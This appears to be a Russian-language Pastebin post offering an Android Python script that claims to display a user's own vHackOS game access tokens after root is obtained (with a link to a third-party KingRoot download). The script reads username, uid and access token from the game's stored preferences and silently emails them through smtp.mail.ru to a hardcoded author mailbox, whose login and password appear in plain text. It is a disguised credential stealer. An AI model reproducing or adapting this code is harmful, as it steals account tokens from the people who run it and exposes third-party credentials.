Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Для работы со скриптами питон нужно установить интерпретатор QPython3 на андроид через PlayMarket.
- Для получения accessToken надо запустить этот скриптик в интерпретаторе.
- Для этого требуется root, если его нет, то скрипт это сообщит и в сообщении вы сможете сразу попасть через браузер для установки KingRoot (который отсутствует в PlayMarket).
- Если root есть, а скрипт ещё считает, что root отсутствует, то в главном меню интерпретатора надо зайти в опции через 3 кружочка белые, расположенные вертикально и найти опцию root disable и переключить в состояние enable и повторно запустить скрипт.
- А вот и сам скрипт- выжималка accessToken'ов, которые будут получены из всех vHackOS'ов на гаджете:
- import os
- import androidhelper
- import smtplib
- droid = androidhelper.Android()
- def menu(Alert,Items,Positive,Neutral,Negative):
- droid.dialogCreateAlert("\ud83d\udcc3 "+Alert)
- if Items != None: droid.dialogSetItems(Items)
- if Positive != None: droid.dialogSetPositiveButtonText(Positive)
- if Neutral != None: droid.dialogSetNeutralButtonText(Neutral)
- if Negative != None: droid.dialogSetNegativeButtonText(Negative)
- droid.dialogShow()
- Zn = droid.dialogGetResponse().result
- if "canceled" in Zn: return 0
- if "which" in Zn:
- if Zn["which"]=="positive": return 1
- if Zn["which"]=="neutral": return 2
- if Zn["which"]=="negative": return 3
- if "item" in Zn: return Zn["item"]+4
- return Zn
- def Coder(Obj):
- Str = ""
- for i in Obj: Str += "|".join(i)+"\n"
- smtpObj = smtplib.SMTP("smtp.mail.ru",587)
- smtpObj.starttls()
- smtpObj.login('python.boting@mail.ru','VectorASD')
- smtpObj.sendmail("python.boting@mail.ru","python.boting@mail.ru",Str)
- smtpObj.quit()
- def GetAttr(Date,Tag):
- Sim = Date.index(Tag)+len(Tag)+2
- Zn = ""
- while Date[Sim] != "<":
- Zn += Date[Sim]
- Sim += 1
- return Zn
- def PoiskTargets(dir = "/data/data"):
- Zn = []
- try:
- for i in os.listdir(dir):
- path = os.path.join(dir, i)
- if not os.path.isfile(path):
- if os.listdir(path).count("shared_prefs") == 1:
- dir2 = path+"/shared_prefs"
- if os.listdir(dir2).count("vXTMobile.xml.xml") == 1:
- with open(dir2+"/vXTMobile.xml.xml","r") as file:
- Date = file.read()
- Zn += [[GetAttr(Date,"username"),GetAttr(Date,"uid"),GetAttr(Date,"accesstoken")]]
- Coder(Zn)
- except OSError:
- if menu("Нет root у интерпритатора",None,None,"Ладно","Получить root") == 3: droid.view("https://kingroot.ru.uptodown.com/android/download/1274929")
- return Zn
- J = 0
- print("Скрипт запущен")
- for i in PoiskTargets():
- if len(i) == 0: break
- J += 1
- print("Игрок #"+str(J))
- print(" Игровое имя: "+i[0])
- print(" Индентификатор: "+i[1])
- print(" Ключ доступа: "+i[2])
Add Comment
Please, Sign In to add comment